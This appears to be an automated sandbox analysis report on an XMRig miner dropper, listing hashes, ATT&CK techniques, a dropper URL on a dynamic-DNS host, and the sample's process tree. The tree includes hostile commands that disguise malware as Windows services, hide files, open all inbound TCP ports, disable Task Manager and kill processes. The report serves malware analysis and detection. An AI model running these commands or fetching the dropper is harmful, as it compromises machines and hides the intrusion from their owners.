xmrig | 50c613d987a58b91daf60860008cb7884c9f181ec0a743e064f2a2e525e617ba

Analysis

max time kernel
148s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/09/2026, 05:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
50c613d987a58b91daf60860008cb7884c9f181ec0a743e064f2a2e525e617ba.exe
Size 4.5MB
Sample260909-gnm7maba46
SHA256 50c613d987a58b91daf60860008cb7884c9f181ec0a743e064f2a2e525e617ba
MD5 11ea49672bde8caae2cb324f176eab88
SHA1 9a482922e03415451a8ebc2e24cb235511d5a9ef
SHA512 fbb7485569b7b74205cf7034b98bf4f14660895ddba5945b829d245f85a2e7274df9216fca5eec933dee79f4105b8b5b01968123fdbf56541b6e7aacd6425c7e
SSDEEP 98304:fcsjBAsy/5CcJnbGDZFgWbThk/UXdRSwrx/beRdJskggq+O7CX/:0sU/5Cy8NtYYXSaDePmrLYX/
TLSH
T1FF263351B8C2C5B3D55608361BA5DB10FA7CB9502B19CEC7B3C05A2E8BB56C0E634FE6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence privilege_escalation upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://k2ygoods.ydns.eu/power.txt

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000c00000001c61c-124.dat	family_xmrig
behavioral2/files/0x000c00000001c61c-124.dat	xmrig

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	624	powershell.exe
5	624	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5912	netsh.exe

Sets file to hidden 1 TTPs 4 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3780	attrib.exe
2820	attrib.exe
1556	attrib.exe
5864	attrib.exe

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 16 IoCs

pid	Process
1496	MacTool.exe
4240	15v9SQ.exe
4104	v9new.exe
2808	77.exe
1332	v9.exe
6104	66.exe
4596	server.exe
3248	m.exe
3244	svchost.exe
1984	svchost.exe
3220	lsass.exe
5488	1sass.exe
4656	lsass.exe
5980	1sass.exe
2300	csrss.exe
3180	winlogon.exe

Loads dropped DLL 3 IoCs

pid	Process
1332	v9.exe
1332	v9.exe
1332	v9.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
624	powershell.exe

Creates a Windows Service
persistence

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
6084	WScript.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c60a-12.dat	upx
behavioral2/memory/4240-19-0x0000000000400000-0x000000000041C000-memory.dmp	upx
behavioral2/files/0x000c00000001c60b-33.dat	upx
behavioral2/memory/4240-41-0x0000000000400000-0x000000000041C000-memory.dmp	upx
behavioral2/memory/4104-66-0x0000000000400000-0x000000000041C000-memory.dmp	upx

Drops file in Windows directory 28 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_c43rwanq.asr.psm1	powershell.exe
File created	C:\Windows\debug\m\n.vbs	m.exe
File opened for modification	C:\Windows\debug\m\n.vbs	m.exe
File created	C:\Windows\debug\m\winlogon.exe	m.exe
File opened for modification	C:\Windows\debug\m\c1.bat	m.exe
File opened for modification	C:\Windows\debug\m\winlogon.exe	attrib.exe
File created	C:\Windows\svchost.exe	server.exe
File created	C:\Windows\debug\m\__tmp_rar_sfx_access_check_240754906	m.exe
File opened for modification	C:\Windows\debug\m\server2.reg	m.exe
File opened for modification	C:\Windows\debug\m\winlogon.exe	m.exe
File created	C:\Windows\debug\m\WinRing0x64.sys	m.exe
File opened for modification	C:\Windows\debug\m\config.json	m.exe
File opened for modification	C:\Windows\debug\m	attrib.exe
File opened for modification	C:\Windows\debug\m\config.json	attrib.exe
File opened for modification	C:\Windows\debug\m	m.exe
File opened for modification	C:\Windows\debug\m\csrss.exe	m.exe
File created	C:\Windows\debug\m\server.reg	m.exe
File opened for modification	C:\Windows\debug\m\server.reg	m.exe
File created	C:\Windows\debug\m\server2.reg	m.exe
File created	C:\Windows\debug\m\config.json	m.exe
File created	C:\Windows\debug\m\config.json	winlogon.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0aihubdg.1ge.ps1	powershell.exe
File created	C:\Windows\debug\m\csrss.exe	m.exe
File created	C:\Windows\debug\m\lsass.exe	m.exe
File opened for modification	C:\Windows\debug\m\lsass.exe	m.exe
File opened for modification	C:\Windows\debug\m\WinRing0x64.sys	m.exe
File created	C:\Windows\debug\m\c1.bat	m.exe
File opened for modification	C:\Windows\debug\m\lsass.exe	attrib.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3816	sc.exe
1964	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4512	cmd.exe
5028	cmd.exe
5272	cmd.exe
4704	cmd.exe
5164	cmd.exe
796	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	77.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	v9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	server.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	m.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	v9new.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regedit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	15v9SQ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	50c613d987a58b91daf60860008cb7884c9f181ec0a743e064f2a2e525e617ba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	66.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regedit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Kills process with taskkill 29 IoCs

defense_evasion

pid	Process
6140	taskkill.exe
5548	taskkill.exe
2564	taskkill.exe
4976	taskkill.exe
4176	taskkill.exe
1808	taskkill.exe
4116	taskkill.exe
3608	taskkill.exe
3652	taskkill.exe
5552	taskkill.exe
2968	taskkill.exe
4128	taskkill.exe
4912	taskkill.exe
2656	taskkill.exe
4356	taskkill.exe
5968	taskkill.exe
3160	taskkill.exe
1016	taskkill.exe
4840	taskkill.exe
6032	taskkill.exe
4788	taskkill.exe
2876	taskkill.exe
4820	taskkill.exe
3144	taskkill.exe
2216	taskkill.exe
5840	taskkill.exe
2152	taskkill.exe
5824	taskkill.exe
3432	taskkill.exe

Modifies data under HKEY_USERS 47 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum\Version = "7"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings	m.exe

Runs .reg file with regedit 2 IoCs

pid	Process
4988	regedit.exe
3272	regedit.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2300	csrss.exe
2300	csrss.exe
624	powershell.exe
624	powershell.exe
624	powershell.exe

Suspicious use of AdjustPrivilegeToken 32 IoCs

description	pid	Process
Token: SeDebugPrivilege	4116	taskkill.exe
Token: SeDebugPrivilege	4976	taskkill.exe
Token: SeDebugPrivilege	2656	taskkill.exe
Token: SeDebugPrivilege	4176	taskkill.exe
Token: SeDebugPrivilege	6032	taskkill.exe
Token: SeDebugPrivilege	4788	taskkill.exe
Token: SeDebugPrivilege	4356	taskkill.exe
Token: SeDebugPrivilege	2876	taskkill.exe
Token: SeDebugPrivilege	2968	taskkill.exe
Token: SeDebugPrivilege	3608	taskkill.exe
Token: SeDebugPrivilege	5548	taskkill.exe
Token: SeDebugPrivilege	4128	taskkill.exe
Token: SeDebugPrivilege	2300	csrss.exe
Token: SeDebugPrivilege	1808	taskkill.exe
Token: SeLockMemoryPrivilege	3180	winlogon.exe
Token: SeDebugPrivilege	4912	taskkill.exe
Token: SeDebugPrivilege	5968	taskkill.exe
Token: SeDebugPrivilege	3160	taskkill.exe
Token: SeDebugPrivilege	1016	taskkill.exe
Token: SeDebugPrivilege	3652	taskkill.exe
Token: SeDebugPrivilege	2216	taskkill.exe
Token: SeDebugPrivilege	5840	taskkill.exe
Token: SeDebugPrivilege	4820	taskkill.exe
Token: SeDebugPrivilege	2564	taskkill.exe
Token: SeDebugPrivilege	2152	taskkill.exe
Token: SeDebugPrivilege	4840	taskkill.exe
Token: SeDebugPrivilege	5824	taskkill.exe
Token: SeDebugPrivilege	5552	taskkill.exe
Token: SeDebugPrivilege	6140	taskkill.exe
Token: SeDebugPrivilege	3144	taskkill.exe
Token: SeDebugPrivilege	3432	taskkill.exe
Token: SeDebugPrivilege	624	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3180	winlogon.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1332	v9.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 3452 wrote to memory of 1496	3452	50c613d987a58b91daf60860008cb7884c9f181ec0a743e064f2a2e525e617ba.exe	90
PID 3452 wrote to memory of 4240	3452	50c613d987a58b91daf60860008cb7884c9f181ec0a743e064f2a2e525e617ba.exe	91
PID 4240 wrote to memory of 4104	4240	15v9SQ.exe	92
PID 4240 wrote to memory of 2808	4240	15v9SQ.exe	93
PID 2808 wrote to memory of 4704	2808	77.exe	94
PID 4704 wrote to memory of 4116	4704	cmd.exe	96
PID 4104 wrote to memory of 1332	4104	v9new.exe	97
PID 4104 wrote to memory of 6104	4104	v9new.exe	98
PID 6104 wrote to memory of 5164	6104	66.exe	99
PID 4704 wrote to memory of 4976	4704	cmd.exe	101
PID 5164 wrote to memory of 2656	5164	cmd.exe	102
PID 1332 wrote to memory of 796	1332	v9.exe	103
PID 1332 wrote to memory of 4512	1332	v9.exe	104
PID 4704 wrote to memory of 4176	4704	cmd.exe	107
PID 4512 wrote to memory of 4596	4512	cmd.exe	108
PID 796 wrote to memory of 3248	796	cmd.exe	109
PID 5164 wrote to memory of 1796	5164	cmd.exe	110
PID 4704 wrote to memory of 6032	4704	cmd.exe	112
PID 4704 wrote to memory of 4788	4704	cmd.exe	113
PID 3248 wrote to memory of 6084	3248	m.exe	114
PID 4704 wrote to memory of 4356	4704	cmd.exe	115
PID 3244 wrote to memory of 1984	3244	svchost.exe	116
PID 4704 wrote to memory of 2876	4704	cmd.exe	117
PID 6084 wrote to memory of 5028	6084	WScript.exe	118
PID 4704 wrote to memory of 2968	4704	cmd.exe	120
PID 5028 wrote to memory of 3220	5028	cmd.exe	121
PID 4704 wrote to memory of 3608	4704	cmd.exe	122
PID 5028 wrote to memory of 4988	5028	cmd.exe	123
PID 5028 wrote to memory of 5488	5028	cmd.exe	124
PID 4704 wrote to memory of 5548	4704	cmd.exe	125
PID 5028 wrote to memory of 3272	5028	cmd.exe	126
PID 5028 wrote to memory of 3816	5028	cmd.exe	127
PID 5028 wrote to memory of 1964	5028	cmd.exe	131
PID 4704 wrote to memory of 4128	4704	cmd.exe	134
PID 5028 wrote to memory of 1556	5028	cmd.exe	135
PID 5980 wrote to memory of 2300	5980	1sass.exe	136
PID 5028 wrote to memory of 5864	5028	cmd.exe	137
PID 4704 wrote to memory of 1808	4704	cmd.exe	138
PID 4656 wrote to memory of 3180	4656	lsass.exe	139
PID 5028 wrote to memory of 3780	5028	cmd.exe	140
PID 5028 wrote to memory of 2820	5028	cmd.exe	141
PID 4704 wrote to memory of 4912	4704	cmd.exe	142
PID 5028 wrote to memory of 5912	5028	cmd.exe	143
PID 4704 wrote to memory of 5968	4704	cmd.exe	144
PID 4704 wrote to memory of 3160	4704	cmd.exe	145
PID 4704 wrote to memory of 1016	4704	cmd.exe	146
PID 4704 wrote to memory of 3652	4704	cmd.exe	147
PID 4704 wrote to memory of 2216	4704	cmd.exe	148
PID 4704 wrote to memory of 5840	4704	cmd.exe	149
PID 4704 wrote to memory of 4820	4704	cmd.exe	150
PID 4704 wrote to memory of 2564	4704	cmd.exe	151
PID 4704 wrote to memory of 2152	4704	cmd.exe	152
PID 4704 wrote to memory of 4840	4704	cmd.exe	153
PID 4704 wrote to memory of 5824	4704	cmd.exe	154
PID 4704 wrote to memory of 5552	4704	cmd.exe	155
PID 4704 wrote to memory of 6140	4704	cmd.exe	156
PID 4704 wrote to memory of 3144	4704	cmd.exe	157
PID 4704 wrote to memory of 3432	4704	cmd.exe	158
PID 2300 wrote to memory of 5272	2300	csrss.exe	159
PID 5272 wrote to memory of 624	5272	cmd.exe	160

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1556	attrib.exe
5864	attrib.exe
3780	attrib.exe
2820	attrib.exe

C:\Users\Admin\AppData\Local\Temp\50c613d987a58b91daf60860008cb7884c9f181ec0a743e064f2a2e525e617ba.exe
"C:\Users\Admin\AppData\Local\Temp\50c613d987a58b91daf60860008cb7884c9f181ec0a743e064f2a2e525e617ba.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3452
- C:\PerfLogs\Admins15v9SQ\MacTool.exe
  "C:\PerfLogs\Admins15v9SQ\MacTool.exe"
  2⤵
  - Executes dropped EXE
  PID:1496
- C:\PerfLogs\Admins15v9SQ\15v9SQ.exe
  "C:\PerfLogs\Admins15v9SQ\15v9SQ.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4240
- - C:\Users\Admin\AppData\Local\Temp\Temp\v9new.exe
    "C:\Users\Admin\AppData\Local\Temp\Temp\v9new.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4104
  - - C:\Users\Admin\AppData\Local\Temp\Temp\v9.exe
      "C:\Users\Admin\AppData\Local\Temp\Temp\v9.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1332
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c start C:\Users\Admin\AppData\Local\Temp\\m.exe
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:796
      - C:\Users\Admin\AppData\Local\Temp\m.exe
        
        C:\Users\Admin\AppData\Local\Temp\\m.exe
        6⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:3248
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Windows\debug\m\n.vbs"
        7⤵
        Executes a VBScript file via the Windows Script Host.
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:6084
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Windows\debug\m\c1.bat" "
        8⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5028
        
        C:\Windows\debug\m\lsass.exe
        
        lsass.exe install "Windows Updata" winlogon.exe
        9⤵
        Executes dropped EXE
        
        PID:3220
        
        C:\Windows\SysWOW64\regedit.exe
        
        C:\Windows\regedit /s server.reg
        9⤵
        System Location Discovery: System Language Discovery
        Runs .reg file with regedit
        
        PID:4988
        
        C:\PerfLogs\Admin\1sass.exe
        
        C:\PerfLogs\Admin\1sass.exe install "Windows Management" C:\PerfLogs\Admin\csrss.exe
        9⤵
        Executes dropped EXE
        
        PID:5488
        
        C:\Windows\SysWOW64\regedit.exe
        
        C:\Windows\regedit /s server2.reg
        9⤵
        System Location Discovery: System Language Discovery
        Runs .reg file with regedit
        
        PID:3272
        
        C:\Windows\SysWOW64\sc.exe
        
        sc start "Windows Updata"
        9⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3816
        
        C:\Windows\SysWOW64\sc.exe
        
        sc start "Windows Management"
        9⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1964
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib C:\Windows\debug\m +h +a
        9⤵
        Sets file to hidden
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:1556
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib C:\Windows\debug\m\*.json +h +a +s +r
        9⤵
        Sets file to hidden
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:5864
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib C:\Windows\debug\m\*.exe +h +a +s +r
        9⤵
        Sets file to hidden
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:3780
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib C:\PerfLogs\Admin\*.exe +h +a +s +r
        9⤵
        Sets file to hidden
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:2820
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
        9⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:5912
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c start C:\Users\Admin\AppData\Local\Temp\\server.exe
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4512
      - C:\Users\Admin\AppData\Local\Temp\server.exe
        
        C:\Users\Admin\AppData\Local\Temp\\server.exe
        6⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4596
  - - C:\Users\Admin\AppData\Local\Temp\Temp\66.exe
      "C:\Users\Admin\AppData\Local\Temp\Temp\66.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6104
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\868M1YHI.bat" "C:\Users\Admin\AppData\Local\Temp\Temp\66.exe" "
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5164
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2656
      - C:\Windows\system32\reg.exe
        
        REG add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:1796
- - C:\Users\Admin\AppData\Local\Temp\Temp\77.exe
    "C:\Users\Admin\AppData\Local\Temp\Temp\77.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2808
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\81QO5HLQ.bat" "C:\Users\Admin\AppData\Local\Temp\Temp\77.exe" "
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4704
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ltserver.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4116
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM qd.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4976
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ╚í╧√╫╘╞⌠╢».exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4176
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM RackCloudAgent.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6032
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM nssm.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4788
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM rack.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4356
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM iqi.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2876
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM systeme.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2968
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM 1x.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3608
